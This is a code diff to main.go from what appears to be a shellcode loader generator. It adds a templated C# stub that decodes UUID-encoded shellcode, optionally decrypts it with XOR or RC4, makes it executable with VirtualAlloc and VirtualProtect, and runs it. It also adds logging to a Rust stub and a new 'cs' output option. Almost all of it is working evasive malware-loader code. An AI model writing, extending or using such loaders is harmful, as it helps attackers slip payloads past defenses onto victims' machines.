diff options
-rw-r--r-- | main.go | 166 |
1 files changed, 166 insertions, 0 deletions
@@ -295,6 +295,167 @@ int main() { } ` +const csharpStub = `// csc /unsafe /platform:x64 stub.cs +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace Stub +{ + class Program + { + const int ORIGINAL_SHELLCODE_LENGTH = {{ .OrigLen }}; + + static readonly string[] uuidStrings = new string[] { + {{- range .UUIDs }} + "{{ . }}", + {{- end }} + }; + + [DllImport("kernel32")] + static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + private delegate void ShellcodeDelegate(); + + [DllImport("kernel32.dll")] + static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + const uint PAGE_EXECUTE_READ = 0x20; + const uint PAGE_READWRITE = 0x04; + const uint MEM_COMMIT = 0x1000; + const uint MEM_RESERVE = 0x2000; + const uint PAGE_EXECUTE_READWRITE = 0x40; + + static byte HexChar(char c) + { + if ('0' <= c && c <= '9') return (byte)(c - '0'); + if ('a' <= c && c <= 'f') return (byte)(c - 'a' + 10); + if ('A' <= c && c <= 'F') return (byte)(c - 'A' + 10); + return 0; + } + + static void ParseUUID(string s, byte[] outBuf, int offset) + { + int j = 0; + for (int i = 0; i < s.Length && j < 16; ) + { + if (s[i] == '-') + { + i++; + continue; + } + outBuf[offset + j] = (byte)((HexChar(s[i]) << 4) | HexChar(s[i + 1])); + j++; + i += 2; + } + } + + static byte[] DecodeUUIDs() + { + Console.WriteLine("decoding uuids to shellcode"); + byte[] buf = new byte[uuidStrings.Length * 16]; + for (int i = 0; i < uuidStrings.Length; i++) + { + ParseUUID(uuidStrings[i], buf, i * 16); + } + return buf; + } + + {{- if .XORKey }} + static void XORDecode(byte[] buf, byte key) + { + Console.WriteLine("xor decrypting shellcode"); + for (int i = 0; i < buf.Length; i++) + { + buf[i] ^= key; + } + } + {{- end }} + + {{- if .RC4Key }} + public static byte[] RC4Crypt(byte[] input, byte[] key) + { + Console.WriteLine("rc4 decrypting shellcode"); + byte[] output = new byte[input.Length]; + byte[] s = new byte[256]; + for (int i = 0; i < 256; i++) + s[i] = (byte)i; + + int j = 0; + for (int i = 0; i < 256; i++) + { + j = (j + s[i] + key[i % key.Length]) & 255; + byte temp = s[i]; + s[i] = s[j]; + s[j] = temp; + } + + int iIndex = 0; + int jIndex = 0; + for (int x = 0; x < input.Length; x++) + { + iIndex = (iIndex + 1) & 255; + jIndex = (jIndex + s[iIndex]) & 255; + + byte temp = s[iIndex]; + s[iIndex] = s[jIndex]; + s[jIndex] = temp; + + byte k = s[(s[iIndex] + s[jIndex]) & 255]; + output[x] = (byte)(input[x] ^ k); + } + + return output; + } + {{- end }} + + static void Main(string[] args) + { + byte[] shellcode = DecodeUUIDs(); + + {{- if .XORKey }} + XORDecode(shellcode, {{ .XORKey }}); + {{- end }} + + {{- if .RC4Key }} + byte[] rc4KeyBytes = Encoding.ASCII.GetBytes("{{ .RC4Key }}"); + shellcode = RC4Crypt(shellcode, rc4KeyBytes); + + if (shellcode.Length > ORIGINAL_SHELLCODE_LENGTH) + { + Array.Resize(ref shellcode, ORIGINAL_SHELLCODE_LENGTH); + } + + {{- end }} + + Console.WriteLine("calling VirtualAlloc for memory allocation"); + IntPtr execMem = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (execMem == IntPtr.Zero) + { + Console.Error.WriteLine("VirtualAlloc failed"); + return; + } + + Marshal.Copy(shellcode, 0, execMem, shellcode.Length); + + Console.WriteLine("calling VirtualProtect for memory permissions"); + uint oldProtect; + bool vp = VirtualProtect(execMem, (UIntPtr)shellcode.Length, PAGE_EXECUTE_READ, out oldProtect); + if (!vp) + { + Console.Error.WriteLine("VirtualProtect failed"); + return; + } + + Console.WriteLine("executing shellcode"); + ShellcodeDelegate sc = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(execMem, typeof(ShellcodeDelegate)); + sc(); + } + } +} +` + const rustStub = `// rustup target add x86_64-pc-windows-gnu // cargo build --release --target x86_64-pc-windows-gnu // @@ -385,6 +546,7 @@ fn main() { #[cfg(unix)] { + println!("calling mmap for memory allocation"); ptr = mmap( ptr::null_mut(), shellcode.len(), @@ -400,6 +562,7 @@ fn main() { use winapi::um::memoryapi::VirtualAlloc; use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}; + println!("calling VirtualAlloc for memory allocation"); ptr = VirtualAlloc( ptr::null_mut(), shellcode.len(), @@ -504,6 +667,9 @@ func main() { case "cwin": stubContent = cWinStub fileName = "stub.c" + case "cs": + stubContent = csharpStub + fileName = "stub.cs" case "rs": stubContent = rustStub baseDir := "stub" |